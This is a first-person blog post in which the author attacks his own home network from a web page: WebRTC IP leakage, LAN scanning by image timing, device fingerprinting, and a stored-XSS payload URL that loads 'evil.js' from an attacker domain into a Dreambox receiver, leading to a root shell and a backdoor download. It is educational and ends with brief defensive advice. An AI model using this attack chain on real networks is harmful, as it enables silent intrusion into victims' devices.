Hacking into my network from a website in seconds

I always thought of web security from a perspective of a developer. I know what exists and how to develop things "right" to minimize all the usual vulnerabilities in my applications. But I haven't really thought about how you can abuse these vulnerabilities. After I attended a series of lectures on web hacking/security, it sort of changed the way I think about it. Previously I wasn't really considering how you can abuse these vulnerabilities in other web applications by just visiting a website for example.

So I decided to try just how secure my home network really is. I mean surely it's kinda secure right? What can anyone possibly do? Nothing relevant is available from the outside world. There are very strict rules on the router. And what can a website do anyway?

Well, let's try it. Let's assume that we as an attacker don't have any information about the network. But we sent our victim (in this case that's also us) a link to our website and the victim has opened it for at least couple of seconds.

OK, so how do we learn about the victim's network? Modern browsers have a functionality called WebRTC that is meant to be used for peer to peer communication, so that you can for instance video chat with someone directly in a browser. This functionality is enabled by default both in Firefox and Chrome. What this allows us to do is to get the local IP address of the victim's computer. If we ask for it with JavaScript on our website the browser will give it to us.

Let's say it returned 192.168.1.123, this tells us that it is most likely a 192.168.1.0/24 subnet. So what we can do now is to show 254 hidden images to the victim, each with a src="http://192.168.1.1/non_existent_image.png", src="http://192.168.1.2/non_existent_image.png", ... src="http://192.168.1.254/non_existent_image.png".

Now we have 254 images for every address in the victim's subnet. The victim's browser has no problem with this and happily starts sending requests for all these images inside his local network. JavaScript allows us to add a listener to an onerror event for when the image loading fails. We can use the fact that it will fail at a different time depending whether the device is actually alive and will deny the request quickly, or if the browser will give up trying to load it after couple of seconds because no one is responding to him.

This takes a bit of a trial and error, lots of tweaking and it will never be a 100% representation of the network. Also every browser behaves a little bit different. What is pretty reliable though is that a device with a web interface will respond very quickly with a 404 error that such image does not exist. Images that triggered the onerror event quickly are definitely alive and most likely have a web interface. After about a second or two with Firefox the images timeout on the IP addresses that no devices have and after about ten seconds the ones that haven't responded with an error yet are probably alive - maybe a mobile device.

The most interesting information for an attacker is that there are devices with a web interface. Most likely at least a router.

How can we find out what sort of a device is it though? Just insert more images into the site. Except this time it's an image that might actually exist. For instance, we can add an image with a src="http//ipaddress/mikrotik_logo.png" and attach a listener to onload. If it loads, it's a router made by MikroTik.

So we show the victim multiple images for the most common devices and find out if there is something interesting. What has caught my eye is that we have a satellite TV/radio receiver box, it's called Dreambox, and it has a web interface without a login. It contains lots of images so there is no problem detecting it.

In this next step, we are assuming that the attacker is familiar with this device. Even has his own one to figure out how it works beforehand.

Let's get familiar with this device. What is this web interface actually capable of? You can watch the current TV/Radio channel, see what the program is, edit the channel lists, or just use it as a remote control. We don't care about any of that, what has immediately caught my eye is a button named terminal. It indeed takes us to a console terminal that you can control from the web page. It also happens to be that by default you can login as root without a password and have a complete control of the device. Now that's really something. But still it's a completely different site from ours - so we can't do anything, right?

Well, let's see how does this terminal thing work. The first message is a POST to http://dreamboxip/terminal/? with parameters of width, height and the rooturl for some reason. The response contains the session key:

{ "session" : "s0kCzpIsPXosxaCd7I-o/Q", "data" : "" }

Then when we want to send a letter 'r' we send a POST to the same url, but now with the session key and the desired letter (hexa in ASCI):

session=s0kCzpIsPXosxaCd7I&keys=72

If we want to send it commands from the attacker's website, we need to obtain this session key. Obviously since it's a POST and not a GET we can't send that by showing an image. We can send an ajax request or submit a form. The problem is that the POST will come from our site and since the Dreambox will not respond with a response header which tells the browser that anyone can read the answer, the browser will not give us any answer and just show a CORS warning. It appears that we can't obtain the session key, at least not without some sort of a cooperation from the victim. Or can we?

Well let's see what else is on the Dreambox web page. There is a search bar, but it just prints 404 image if we search for something weird. That's not what we are looking for. So what about the TV channel lists. There is a button to add a custom one, so let's try to add some and call it the usual <stript>alert(1)</stript>. No complaints about that from the Dreambox. Press F5. An alert shows up greeting us with a message saying "1".

What has happened is that our input did not get sanitized by the website. Instead of printing the name as a harmless string of characters, the browser has no choice but to think it's a legitimate script and run it as if it was meant to be there. This is called a persistent cross site scripting.

What makes it even better is, that they are using a GET request to add the new list. So all we need to do is insert another image into our page but now with src of

http://dreamboxip/bouqueteditor/api/addbouquet?name=<script src=\'https://myattackerdomain/evil.js\'></script>&mode=0&_=

The victim's browser again happily obliges. The next time our victim visits the Dreambox website the browser will run our planted evil script, except this time the browser won't complain about any CORS and give us the response since the requests will come from the same site.

Yeah but now we need to wait for the victim to visit the website, for our planted script to run? Nope, browsers have this ability to show a website in a website called iframe. And since the Dreambox also lacks any response headers that would deny the ability to put it into an iframe, all we need to do is show the victim a transparent iframe with the Dreambox homepage. That will immediately run the script that we just injected into it as if it was directly from the Dreambox site.

Then we can easily create the terminal session, login as root, download our backdoor with curl or wget and we have a full control of a Linux box that's online 24/7 on the victim's network. All just from opening a website and staying there for 4 seconds, not even clicking on anything.

As for defending against such things: disable JavaScript for untrusted websites and don't have devices with non existent security and default configuration on your network...

PS, please don't send me any "special" links ;)